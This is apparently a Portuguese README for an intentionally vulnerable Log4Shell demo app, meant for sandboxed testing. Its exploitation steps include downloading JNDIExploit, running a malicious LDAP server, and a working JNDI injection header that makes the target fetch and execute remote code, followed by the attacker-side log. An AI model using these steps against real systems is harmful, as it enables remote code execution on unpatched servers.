Aplicativo de exemplo vulnerável ao Log4Shell (CVE-2021-44228)

Este repositório contém um aplicativo web Spring Boot vulnerável ao CVE-2021-44228, apelidado de Log4Shell.

Ele usa Log4j 2.14.1 (por meio de spring-boot-starter-log4j2 2.6.1) e o JDK 1.8.0_181.

Executando o aplicativo

Execute-o:

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Construa você mesmo (você não precisa de nenhuma ferramenta relacionada a Java):

docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

Passos de exploração

Nota: Isto é amplamente inspirado no aviso da LunaSec original. Execute por sua conta e risco, de preferência em uma VM em um ambiente isolado (sandbox).

Atualização (13 de dezembro): O repositório JNDIExploit foi removido do GitHub (presumivelmente, não pelo GitHub). Basta adicionar web.archive.org antes da URL de download do JNDIExploit abaixo para usar a versão em cache pela Wayback Machine.

• Use o JNDIExploit para iniciar um servidor LDAP malicioso

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

• Em seguida, dispare o exploit usando:

# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

• Observe a saída do JNDIExploit, mostrando que ele enviou uma resposta LDAP maliciosa e serviu o payload de segundo estágio:

[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

• Para confirmar que a execução do código foi bem-sucedida, observe que o arquivo /tmp/pwned.txt foi criado no contêiner que executa o aplicativo vulnerável:

$ docker exec vulnerable-app ls /tmp
...
pwned
...

Referência

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Contribuidores

@christophetd @rayhan0x01